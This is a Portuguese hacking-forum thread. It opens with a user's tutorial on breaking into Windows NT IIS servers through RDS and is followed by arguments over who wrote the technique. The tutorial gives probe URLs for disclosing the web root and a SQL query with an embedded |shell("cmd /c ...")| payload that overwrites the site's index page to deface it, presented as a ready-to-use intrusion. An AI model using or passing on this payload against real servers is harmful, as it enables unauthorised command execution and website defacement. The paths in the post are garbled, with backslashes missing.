Tutorial Invadir servidor por RDS

['G33K~]

Introducão
Antes de tudo quero avisar que esta técnica só funciona se o servidor usar Windows NT, este tutorial e redirecionado aos que tem conhecimentos intemediarios e toda a autoria dele e minha.

Tutorial
Primeiramente vamos procurar a página que se encontra a index ou a default, na maioria dos casos só precisa digitar:

wwww.servidor.com/idq.idq

Que aparece o diretorio, o mais comum é o InetPubwwwroot.

Agora vamos descobrir se o servidor usa index.asp, index.html ou index.htm, isso conta também se for default.
Para isso digite na URL:

Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
ou
ida.ida
ou
idc.idc

Você vai encontrar o diretorio como dito anteriormente, agora vamos a descoberta proposta acima.
Você só encontra ela fazendo testes assim:

Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... possiveis
ou
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... possiveis

Vamos supor que o diretório é c:inetpubwwwrootindex.htm, então é so entrar na tela do RDS assim:

Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

Apague tudo que estiver escrito e digite:

Select * from Products where ProductType='|shell("cmd /c echo (O QUE QUER QUE APAREÇA NO SEU HACKED) > c:InetPubwwwrootindex.htm")|'

Agora é so apertar RUN que o servidor estará invadido.

Créditos: 'G33K~

[Bruno_menor]

Muito bacana, gostei está de parabens.
Abraços

[fidqsi]

Este artigo não pode ser seu, tira os créditos e indica de onde copiou.

Veja o resultado das minhas pesquisas.

8 jan. 2010 13:37:25 GMT - Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
15 fev. 2010 14:21:11 GMT - Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
26 fev. 2010 05:20:48 GMT - Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
09 mar. 2010 20:42:18 GMT - Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

Com esta pequena resalva, considero pertinente ou teu post.

['G33K~]

Se voce não percebeu pode ter este conteúdo em vários locais mas quem escreveu este fui eu

[fidqsi]

Acredito que não me expressei muito antes por isto vou tentar ser mais claro.

Quando você fala na Introducão

Antes de tudo quero avisar que esta técnica só funciona se o servidor usar Windows NT, este tutorial e redirecionado aos que tem conhecimentos intemediarios e toda a autoria dele e minha.

Quando eu fiz menção de ser copia, quis dizer, que você não foi o autor da descoberta (falha). Por este motivo solicitei que você indica as fontes da pesquisa.

['G33K~]

Ahn, isso ai e verdade
Eu coloquei que ele é de todo autoria minha pois eu quis dizer no sentido de escrita ...
Mas vamos parar com essa discursão pois vai gerar Flood.

[Summ3rs]

09 Abr 2009. 15:04:17 Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
27/5/2009, 7:22 pm: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

Parabens, você rippou um tópico e falou que os créditos são seus. (Assim como eu tinha dito no dia da postagem)

[M3G4P1X3L]

O G33K está certo, os créditos do tutorial são dele mas a técnica não foi descoberta por ele ...

[H4ck3r4lp]

- Vou dizer uma coisa bem séria aqui ; da proxima vez que eu ver comentario do tipo que havia aqui vocês vao ser punidos.
- Leiam as Regras do fórum Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... .

Termos de Uso
É proibido:

01. É proibido fazer ofensas a qualquer tipo de pessoa presente no Fórum.
06. É proibido o uso de palavrão, ofensa, palavras de baixo calão e xingamentos, nos comentários dos tópicos, chat e entre quaisquer membros do fórum sujeito a Alertas ou Banimento.

Ok ? Abraço.

['G33K~]

Pelo menos alguém me apoia ..

[testehack]

oque é RDS?

[boby3p]

otimo post
nao ligue para as criticas tenho certeza que 90% dos mebros tao nem ai pra quen descobriu a tecnica
tao atras e de conhecimento e ate quen criou tanben